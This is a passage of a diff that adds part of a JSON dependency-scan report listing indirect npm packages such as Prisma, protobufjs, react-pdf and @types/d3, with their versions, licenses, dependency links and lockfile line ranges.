+ "DependsOn": [
+ "@prisma/debug@5.22.0",
+ "@prisma/engines-version@5.22.0-44.605197351a3c8bdd595af2d2a9bc3025bca48ea2",
+ "@prisma/get-platform@5.22.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1930,
+ "EndLine": 1941
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@prisma/get-platform@5.22.0",
+ "Name": "@prisma/get-platform",
+ "Identifier": {
+ "PURL": "pkg:npm/%40prisma/get-platform@5.22.0",
+ "UID": "249137849e1d198f"
+ },
+ "Version": "5.22.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@prisma/debug@5.22.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1942,
+ "EndLine": 1951
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/aspromise@1.1.2",
+ "Name": "@protobufjs/aspromise",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/aspromise@1.1.2",
+ "UID": "31a08bba737741cb"
+ },
+ "Version": "1.1.2",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1952,
+ "EndLine": 1958
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/base64@1.1.2",
+ "Name": "@protobufjs/base64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/base64@1.1.2",
+ "UID": "f0dcdf01fce2bb2d"
+ },
+ "Version": "1.1.2",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1959,
+ "EndLine": 1965
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/codegen@2.0.5",
+ "Name": "@protobufjs/codegen",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/codegen@2.0.5",
+ "UID": "4034a3bd9bda0f9f"
+ },
+ "Version": "2.0.5",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1966,
+ "EndLine": 1972
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/eventemitter@1.1.0",
+ "Name": "@protobufjs/eventemitter",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/eventemitter@1.1.0",
+ "UID": "90e792ab41b76f36"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1973,
+ "EndLine": 1979
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/fetch@1.1.0",
+ "Name": "@protobufjs/fetch",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/fetch@1.1.0",
+ "UID": "bc7ec50f9652ac"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@protobufjs/aspromise@1.1.2",
+ "@protobufjs/inquire@1.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1980,
+ "EndLine": 1990
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/float@1.0.2",
+ "Name": "@protobufjs/float",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/float@1.0.2",
+ "UID": "a6c52bc05c4a1112"
+ },
+ "Version": "1.0.2",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1991,
+ "EndLine": 1997
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/inquire@1.1.1",
+ "Name": "@protobufjs/inquire",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/inquire@1.1.1",
+ "UID": "bc5a1aa6ad1fb5b5"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1998,
+ "EndLine": 2004
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/path@1.1.2",
+ "Name": "@protobufjs/path",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/path@1.1.2",
+ "UID": "a8f0e471cd1f7df2"
+ },
+ "Version": "1.1.2",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2005,
+ "EndLine": 2011
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/pool@1.1.0",
+ "Name": "@protobufjs/pool",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/pool@1.1.0",
+ "UID": "eab8a54cd8019604"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2012,
+ "EndLine": 2018
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@protobufjs/utf8@1.1.1",
+ "Name": "@protobufjs/utf8",
+ "Identifier": {
+ "PURL": "pkg:npm/%40protobufjs/utf8@1.1.1",
+ "UID": "60e45b16f3dd0534"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2019,
+ "EndLine": 2025
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-email/render@0.0.16",
+ "Name": "@react-email/render",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-email/render@0.0.16",
+ "UID": "81c9e4162c4399ac"
+ },
+ "Version": "0.0.16",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "html-to-text@9.0.5",
+ "js-beautify@1.15.4",
+ "react-dom@18.3.1",
+ "react-promise-suspense@0.3.4",
+ "react@18.3.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2026,
+ "EndLine": 2043
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/fns@2.2.1",
+ "Name": "@react-pdf/fns",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/fns@2.2.1",
+ "UID": "b1b7e910e0154ace"
+ },
+ "Version": "2.2.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2044,
+ "EndLine": 2052
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/fns@3.1.3",
+ "Name": "@react-pdf/fns",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/fns@3.1.3",
+ "UID": "86552e3380174ba7"
+ },
+ "Version": "3.1.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2208,
+ "EndLine": 2213
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/font@2.5.2",
+ "Name": "@react-pdf/font",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/font@2.5.2",
+ "UID": "1048755b16ff4784"
+ },
+ "Version": "2.5.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@react-pdf/types@2.11.1",
+ "cross-fetch@3.2.0",
+ "fontkit@2.0.4",
+ "is-url@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2053,
+ "EndLine": 2065
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/font@4.0.8",
+ "Name": "@react-pdf/font",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/font@4.0.8",
+ "UID": "e436de349a8de1a5"
+ },
+ "Version": "4.0.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@react-pdf/pdfkit@5.1.1",
+ "@react-pdf/types@2.11.1",
+ "fontkit@2.0.4",
+ "is-url@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2214,
+ "EndLine": 2225
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/image@2.3.6",
+ "Name": "@react-pdf/image",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/image@2.3.6",
+ "UID": "1611f37c76ad50bb"
+ },
+ "Version": "2.3.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@react-pdf/png-js@2.3.1",
+ "cross-fetch@3.2.0",
+ "jay-peg@1.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2066,
+ "EndLine": 2077
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/layout@3.13.0",
+ "Name": "@react-pdf/layout",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/layout@3.13.0",
+ "UID": "1ec2dcd7f2103fb9"
+ },
+ "Version": "3.13.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@react-pdf/fns@2.2.1",
+ "@react-pdf/image@2.3.6",
+ "@react-pdf/pdfkit@3.2.0",
+ "@react-pdf/primitives@3.1.1",
+ "@react-pdf/stylesheet@4.3.0",
+ "@react-pdf/textkit@4.4.1",
+ "@react-pdf/types@2.11.1",
+ "cross-fetch@3.2.0",
+ "emoji-regex@10.6.0",
+ "queue@6.0.2",
+ "yoga-layout@2.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2078,
+ "EndLine": 2097
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/pdfkit@3.2.0",
+ "Name": "@react-pdf/pdfkit",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/pdfkit@3.2.0",
+ "UID": "d0c0c93c9d1e276f"
+ },
+ "Version": "3.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@react-pdf/png-js@2.3.1",
+ "browserify-zlib@0.2.0",
+ "crypto-js@4.2.0",
+ "fontkit@2.0.4",
+ "jay-peg@1.1.1",
+ "vite-compatible-readable-stream@3.6.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2098,
+ "EndLine": 2112
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/pdfkit@5.1.1",
+ "Name": "@react-pdf/pdfkit",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/pdfkit@5.1.1",
+ "UID": "9596f15d079bb88c"
+ },
+ "Version": "5.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@noble/ciphers@1.3.0",
+ "@noble/hashes@1.8.0",
+ "browserify-zlib@0.2.0",
+ "fontkit@2.0.4",
+ "jay-peg@1.1.1",
+ "js-md5@0.8.3",
+ "linebreak@1.1.0",
+ "png-js@2.0.0",
+ "vite-compatible-readable-stream@3.6.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2226,
+ "EndLine": 2243
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/png-js@2.3.1",
+ "Name": "@react-pdf/png-js",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/png-js@2.3.1",
+ "UID": "554683a69749d63c"
+ },
+ "Version": "2.3.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "browserify-zlib@0.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2113,
+ "EndLine": 2121
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/primitives@3.1.1",
+ "Name": "@react-pdf/primitives",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/primitives@3.1.1",
+ "UID": "9c3467cbe48a9082"
+ },
+ "Version": "3.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2122,
+ "EndLine": 2127
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/primitives@4.3.0",
+ "Name": "@react-pdf/primitives",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/primitives@4.3.0",
+ "UID": "cdaf28bf8d266565"
+ },
+ "Version": "4.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2244,
+ "EndLine": 2249
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/render@3.5.0",
+ "Name": "@react-pdf/render",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/render@3.5.0",
+ "UID": "ffc618db4703c64c"
+ },
+ "Version": "3.5.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@react-pdf/fns@2.2.1",
+ "@react-pdf/primitives@3.1.1",
+ "@react-pdf/textkit@4.4.1",
+ "@react-pdf/types@2.11.1",
+ "abs-svg-path@0.1.1",
+ "color-string@1.9.1",
+ "normalize-svg-path@1.1.0",
+ "parse-svg-path@0.1.2",
+ "svg-arc-to-cubic-bezier@3.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2128,
+ "EndLine": 2145
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/renderer@3.4.5",
+ "Name": "@react-pdf/renderer",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/renderer@3.4.5",
+ "UID": "1dec2b02cb96569b"
+ },
+ "Version": "3.4.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@react-pdf/font@2.5.2",
+ "@react-pdf/layout@3.13.0",
+ "@react-pdf/pdfkit@3.2.0",
+ "@react-pdf/primitives@3.1.1",
+ "@react-pdf/render@3.5.0",
+ "@react-pdf/types@2.11.1",
+ "events@3.3.0",
+ "object-assign@4.1.1",
+ "prop-types@15.8.1",
+ "queue@6.0.2",
+ "react@18.3.1",
+ "scheduler@0.17.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2146,
+ "EndLine": 2168
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/stylesheet@4.3.0",
+ "Name": "@react-pdf/stylesheet",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/stylesheet@4.3.0",
+ "UID": "aa5b364876aac4d8"
+ },
+ "Version": "4.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@react-pdf/fns@2.2.1",
+ "@react-pdf/types@2.11.1",
+ "color-string@1.9.1",
+ "hsl-to-hex@1.0.0",
+ "media-engine@1.0.3",
+ "postcss-value-parser@4.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2169,
+ "EndLine": 2183
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/stylesheet@6.2.1",
+ "Name": "@react-pdf/stylesheet",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/stylesheet@6.2.1",
+ "UID": "5f053e51595fa3ee"
+ },
+ "Version": "6.2.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@react-pdf/fns@3.1.3",
+ "@react-pdf/types@2.11.1",
+ "color-string@2.1.4",
+ "hsl-to-hex@1.0.0",
+ "media-engine@1.0.3",
+ "postcss-value-parser@4.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2250,
+ "EndLine": 2263
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/textkit@4.4.1",
+ "Name": "@react-pdf/textkit",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/textkit@4.4.1",
+ "UID": "61bdde0a67736b0d"
+ },
+ "Version": "4.4.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@babel/runtime@7.29.2",
+ "@react-pdf/fns@2.2.1",
+ "bidi-js@1.0.3",
+ "hyphen@1.14.1",
+ "unicode-properties@1.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2184,
+ "EndLine": 2196
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@react-pdf/types@2.11.1",
+ "Name": "@react-pdf/types",
+ "Identifier": {
+ "PURL": "pkg:npm/%40react-pdf/types@2.11.1",
+ "UID": "b09681ce0866466e"
+ },
+ "Version": "2.11.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@react-pdf/font@4.0.8",
+ "@react-pdf/primitives@4.3.0",
+ "@react-pdf/stylesheet@6.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2197,
+ "EndLine": 2207
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@scarf/scarf@1.4.0",
+ "Name": "@scarf/scarf",
+ "Identifier": {
+ "PURL": "pkg:npm/%40scarf/scarf@1.4.0",
+ "UID": "479be900c39fe49c"
+ },
+ "Version": "1.4.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2698,
+ "EndLine": 2704
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@selderee/plugin-htmlparser2@0.11.0",
+ "Name": "@selderee/plugin-htmlparser2",
+ "Identifier": {
+ "PURL": "pkg:npm/%40selderee/plugin-htmlparser2@0.11.0",
+ "UID": "b04b932da6ff5ffb"
+ },
+ "Version": "0.11.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "domhandler@5.0.3",
+ "selderee@0.11.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2705,
+ "EndLine": 2717
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@socket.io/component-emitter@3.1.2",
+ "Name": "@socket.io/component-emitter",
+ "Identifier": {
+ "PURL": "pkg:npm/%40socket.io/component-emitter@3.1.2",
+ "UID": "567ffcfd9fd1defb"
+ },
+ "Version": "3.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2725,
+ "EndLine": 2730
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@swc/counter@0.1.3",
+ "Name": "@swc/counter",
+ "Identifier": {
+ "PURL": "pkg:npm/%40swc/counter@0.1.3",
+ "UID": "dd7b4996459b61a6"
+ },
+ "Version": "0.1.3",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2731,
+ "EndLine": 2736
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@swc/helpers@0.5.21",
+ "Name": "@swc/helpers",
+ "Identifier": {
+ "PURL": "pkg:npm/%40swc/helpers@0.5.21",
+ "UID": "3eb7e21444fcb00"
+ },
+ "Version": "0.5.21",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "tslib@2.8.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2737,
+ "EndLine": 2745
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@swc/helpers@0.5.5",
+ "Name": "@swc/helpers",
+ "Identifier": {
+ "PURL": "pkg:npm/%40swc/helpers@0.5.5",
+ "UID": "c1fe0c8e385f5c7e"
+ },
+ "Version": "0.5.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@swc/counter@0.1.3",
+ "tslib@2.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7302,
+ "EndLine": 7311
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@tootallnate/once@2.0.0",
+ "Name": "@tootallnate/once",
+ "Identifier": {
+ "PURL": "pkg:npm/%40tootallnate/once@2.0.0",
+ "UID": "daf7aed08211b13b"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2752,
+ "EndLine": 2761
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/caseless@0.12.5",
+ "Name": "@types/caseless",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/caseless@0.12.5",
+ "UID": "705d3cd7ba5175df"
+ },
+ "Version": "0.12.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2808,
+ "EndLine": 2814
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/cors@2.8.19",
+ "Name": "@types/cors",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/cors@2.8.19",
+ "UID": "53ecc16557ef2244"
+ },
+ "Version": "2.8.19",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/node@20.19.39"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2832,
+ "EndLine": 2840
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-array@3.2.2",
+ "Name": "@types/d3-array",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-array@3.2.2",
+ "UID": "eca5d81e0b42ae57"
+ },
+ "Version": "3.2.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2841,
+ "EndLine": 2846
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-color@3.1.3",
+ "Name": "@types/d3-color",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-color@3.1.3",
+ "UID": "b9e20e3f3c58b255"
+ },
+ "Version": "3.1.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2847,
+ "EndLine": 2852
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-ease@3.0.2",
+ "Name": "@types/d3-ease",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-ease@3.0.2",
+ "UID": "3ca5cfe9356d50f7"
+ },
+ "Version": "3.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2853,
+ "EndLine": 2858
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-interpolate@3.0.4",
+ "Name": "@types/d3-interpolate",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-interpolate@3.0.4",
+ "UID": "71d932b99c08d386"
+ },
+ "Version": "3.0.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/d3-color@3.1.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2859,
+ "EndLine": 2867
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-path@3.1.1",
+ "Name": "@types/d3-path",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-path@3.1.1",
+ "UID": "f67ba6b0d32c782e"
+ },
+ "Version": "3.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2868,
+ "EndLine": 2873
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-scale@4.0.9",
+ "Name": "@types/d3-scale",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-scale@4.0.9",
+ "UID": "da7caae6c29f1e15"
+ },
+ "Version": "4.0.9",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/d3-time@3.0.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2874,
+ "EndLine": 2882
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-shape@3.1.8",
+ "Name": "@types/d3-shape",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-shape@3.1.8",
+ "UID": "1bbcffcc23216c5c"
+ },
+ "Version": "3.1.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/d3-path@3.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2883,
+ "EndLine": 2891
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-time@3.0.4",
+ "Name": "@types/d3-time",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-time@3.0.4",
+ "UID": "ae1e51231fd0e76e"
+ },
+ "Version": "3.0.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2892,
+ "EndLine": 2897
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/d3-timer@3.0.2",
+ "Name": "@types/d3-timer",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/d3-timer@3.0.2",
+ "UID": "8d8581be3c6a7ec8"
+ },
+ "Version": "3.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2898,
+ "EndLine": 2903
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/jsonwebtoken@9.0.10",
+ "Name": "@types/jsonwebtoken",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/jsonwebtoken@9.0.10",
+ "UID": "9660c30f82134e15"
+ },
+ "Version": "9.0.10",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/ms@2.1.0",
+ "@types/node@20.19.39"
+ ],
+ "Locations": [
+ {
+ "StartLine": 2944,
+ "EndLine": 2953
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/long@4.0.2",
+ "Name": "@types/long",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/long@4.0.2",
+ "UID": "7eb60ee1c3aa7938"
+ },
+ "Version": "4.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2954,
+ "EndLine": 2960
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/ms@2.1.0",
+ "Name": "@types/ms",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/ms@2.1.0",
+ "UID": "21a18200af4fcee0"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2985,
+ "EndLine": 2990
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/node@22.19.17",
+ "Name": "@types/node",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/node@22.19.17",
+ "UID": "7e3d4b381aaa8098"
+ },
+ "Version": "22.19.17",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "undici-types@6.21.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5554,
+ "EndLine": 5562
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/request@2.48.13",
+ "Name": "@types/request",
+ "Identifier": {
